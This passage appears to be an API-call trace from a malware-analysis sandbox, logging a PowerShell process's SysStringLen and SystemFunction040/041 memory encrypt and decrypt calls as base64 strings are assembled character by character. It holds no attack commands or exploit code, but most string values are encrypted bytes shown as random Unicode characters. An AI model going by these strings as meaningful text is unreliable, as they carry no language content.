(param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ쨓ᐿ॒哯免⨖臓") returned 0x20 [0248.989] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ쨓ᐿ॒哯免⨖臓") returned 0x20 [0248.989] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.989] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/C刑ᫀ") returned 0x20 [0248.989] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.989] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ撴㬱㛃琉\㟜\냛") returned 0x20 [0248.989] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ撴㬱㛃琉\㟜\냛") returned 0x20 [0248.989] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.989] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQᫀ") returned 0x20 [0248.989] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.989] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ㻕麗汹개᭤쿥븧䢢") returned 0x20 [0248.989] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ㻕麗汹개᭤쿥븧䢢") returned 0x20 [0248.989] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.990] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQW") returned 0x20 [0248.990] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.990] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑") returned 0x20 [0248.990] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑") returned 0x20 [0248.990] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑") returned 0x20 [0248.990] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑") returned 0x28 [0248.990] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.990] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZ穻慄힠ĤﳆX") returned 0x28 [0248.990] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.990] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑縇꼉㪷萏襅뺛⿫") returned 0x28 [0248.990] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑縇꼉㪷萏襅뺛⿫") returned 0x28 [0248.990] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZt慄힠ĤﳆX") returned 0x28 [0248.991] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑줖䴂ﱦ줗ꬥ䧈኏") returned 0x28 [0248.991] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑줖䴂ﱦ줗ꬥ䧈኏") returned 0x28 [0248.991] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZts힠ĤﳆX") returned 0x28 [0248.991] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑坒측⾐肚ᆤ㠂") returned 0x28 [0248.991] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑坒측⾐肚ᆤ㠂") returned 0x28 [0248.991] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKĤﳆX") returned 0x28 [0248.991] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑᷐흯퇥쿐͟휌ጁ︂") returned 0x28 [0248.991] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑᷐흯퇥쿐͟휌ጁ︂") returned 0x28 [0248.991] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.991] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBﳆX") returned 0x28 [0248.991] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.992] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑ب樺喍쵬㏆캷懲") returned 0x28 [0248.992] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑ب樺喍쵬㏆캷懲") returned 0x28 [0248.992] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.992] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBSX") returned 0x28 [0248.992] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.992] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑灖Įၻﾊ䐰鞹ᶳ") returned 0x28 [0248.992] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑灖Įၻﾊ䐰鞹ᶳ") returned 0x28 [0248.992] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.992] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBS0") returned 0x28 [0248.992] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.992] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑몾躒㺣齔﯀쓜䄅䜽") returned 0x28 [0248.992] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑몾躒㺣齔﯀쓜䄅䜽") returned 0x28 [0248.992] SystemFunction041 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.992] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBS0q") returned 0x28 [0248.992] SystemFunction040 (in: Memory=0x3af22c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af22c) returned 0x0 [0248.993] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠") returned 0x28 [0248.993] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠") returned 0x28 [0248.993] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠") returned 0x28 [0248.993] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠") returned 0x30 [0248.993] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.993] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBS0qfꫮ툿剰䧦鞐唧ᶛ") returned 0x30 [0248.993] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.993] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠㖫턗\\\㻚ᄅꅇ櫺≒) returned 0x30 [0248.993] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠㖫턗\\\㻚ᄅꅇ櫺≒) returned 0x30 [0248.993] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.993] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBS0qfV툿剰䧦鞐唧ᶛ") returned 0x30 [0248.993] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.994] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠凜ﮙ⽀顸锆獩虻") returned 0x30 [0248.994] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠凜ﮙ⽀顸锆獩虻") returned 0x30 [0248.994] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.994] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBS0qfVk剰䧦鞐唧ᶛ") returned 0x30 [0248.994] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.994] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠䦧除ीҰ官驁尋") returned 0x30 [0248.994] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ∑䋮躰浮請䪹猫㬑朂鉻ꕖ숉⇯♔킠䦧除ीҰ官驁尋") returned 0x30 [0248.994] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.994] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/CQWZtsKBS0qfVk=䧦鞐唧ᶛ") returned 0x30 [0248.994] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0248.994] EtwEventActivityIdControl () returned 0x0 [0248.994] EtwEventActivityIdControl () returned 0x0 [0248.994] EtwEventActivityIdControl () returned 0x0 [0248.995] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.995] EtwEventActivityIdControl () returned 0x0 [0248.995] EtwEventActivityIdControl () returned 0x0 [0248.995] EtwEventActivityIdControl () returned 0x0 [0248.996] SysStringLen (param_1="") returned 0x8 [0248.996] SysStringLen (param_1="N") returned 0x8 [0248.996] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.996] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0248.996] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0248.996] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.996] SysStringLen (param_1="ND") returned 0x8 [0248.996] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.996] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0248.996] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0248.996] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.996] SysStringLen (param_1="NDZ") returned 0x8 [0248.996] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.996] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0248.996] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0248.997] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.997] SysStringLen (param_1="NDZl") returned 0x8 [0248.997] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.997] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0248.997] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0248.997] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.997] SysStringLen (param_1="NDZlO") returned 0x8 [0248.997] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0248.998] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0248.998] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="NDZlOD") returned 0x8 [0248.998] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0248.998] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0248.998] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="NDZlODR") returned 0x8 [0248.998] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0248.998] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0248.998] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="NDZlODRm") returned 0x8 [0248.998] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0248.999] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.999] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0248.999] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0248.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0248.999] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.999] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0249.000] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0249.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0249.000] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.000] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0249.000] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0249.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0249.000] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.000] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0249.000] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0249.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0249.000] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.000] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0249.000] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0249.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0249.001] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.001] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0249.001] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0249.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0249.001] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.001] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0249.001] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0249.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0249.001] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.001] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0249.001] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0249.002] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.002] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0249.002] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0249.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0249.002] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0249.003] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0249.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0249.003] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0249.003] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0249.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0249.003] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0249.003] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0249.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0249.003] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0249.003] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0249.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0249.004] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0249.004] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0249.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0249.004] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0249.004] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0249.004] SysStringLen 